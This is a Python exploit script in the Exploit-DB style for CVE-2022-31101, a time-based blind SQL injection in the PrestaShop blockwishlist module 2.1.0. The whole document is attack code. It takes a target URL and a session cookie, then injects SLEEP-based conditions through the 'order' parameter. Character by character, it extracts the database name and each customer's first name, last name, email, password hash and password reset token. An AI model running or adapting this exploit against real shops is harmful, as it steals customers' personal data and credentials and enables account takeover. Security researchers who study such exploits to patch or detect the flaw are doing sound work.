# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi # Date: 29/07/22 # Exploit Author: Karthik UJ (@5up3r541y4n) # Vendor Homepage: https://www.prestashop.com/en # Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0 # Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/ # Version (blockwishlist): 2.1.0 # Version (prestashop): 1.7.8.1 # Tested on: Linux # CVE: CVE-2022-31101 # This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop import requests url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1 cookie = input("Enter cookie value:\n") header = { "Cookie": cookie } # Define static stuff param = "&order=" staticStart = "p.name, (select case when (" staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc" charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~' charset = list(charset) emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.' emailCharset = list(emailCharset) # Query current database name length print("\nFinding db name's length:") for length in range(1, 65): condition = "LENGTH(database())=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: dbLength=length print("Length: ", length, end='') print("\n") break print("Enumerating current database name:") databaseName = '' for i in range(1, dbLength+1): for char in charset: condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')" fullUrl = url + param + staticStart + condition + staticEnd try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: print(char, end='') databaseName += char break print() # Enumerate any table prefix = "ps_" tableName = prefix + "customer" staticStart = "p.name, (select case when (" staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer=" staticEnd2 = "); -- .asc" print("\nEnumerating " + tableName + " table") for id in range(1, 10): condition = "id_customer=" + str(id) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) print("\nOnly " + str(id - 1) + " records found. Exiting...") break except requests.exceptions.Timeout: pass print("\nid = " + str(id)) # Finding firstname length for length in range(0, 100): condition = "LENGTH(firstname)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: firstnameLength=length print("Firstname length: ", length, end='') print() break # Enumerate firstname firstname = '' print("Firstname: ", end='') for i in range(1, length+1): for char in charset: condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: print(char, end='') firstname += char break print() # Finding lastname length for length in range(1, 100): condition = "LENGTH(lastname)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: lastnameLength=length print("Lastname length: ", length, end='') print() break # Enumerate lastname lastname = '' print("Lastname: ", end='') for i in range(1, length+1): for char in charset: condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: print(char, end='') firstname += char break print() # Finding email length for length in range(1, 320): condition = "LENGTH(email)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: emailLength=length print("Email length: ", length, end='') print() break # Enumerate email email = '' print("Email: ", end='') for i in range(1, length+1): for char in emailCharset: condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) if req.status_code == 500 and char == '.': print(char, end='') email += char except requests.exceptions.Timeout: print(char, end='') email += char break print() # Finding password hash length for length in range(1, 500): condition = "LENGTH(passwd)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: passwordHashLength=length print("Password hash length: ", length, end='') print() break # Enumerate password hash passwordHash = '' print("Password hash: ", end='') for i in range(1, length+1): for char in emailCharset: condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) if req.status_code == 500 and char == '.': print(char, end='') passwordHash += char except requests.exceptions.Timeout: print(char, end='') passwordHash += char break print() # Finding password reset token length for length in range(0, 500): condition = "LENGTH(reset_password_token)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: passwordResetTokenLength=length print("Password reset token length: ", length, end='') print() break # Enumerate password reset token passwordResetToken = '' print("Password reset token: ", end='') for i in range(1, length+1): for char in emailCharset: condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) if req.status_code == 500 and char == '.': print(char, end='') passwordResetToken += char except requests.exceptions.Timeout: print(char, end='') passwordResetToken += char break print()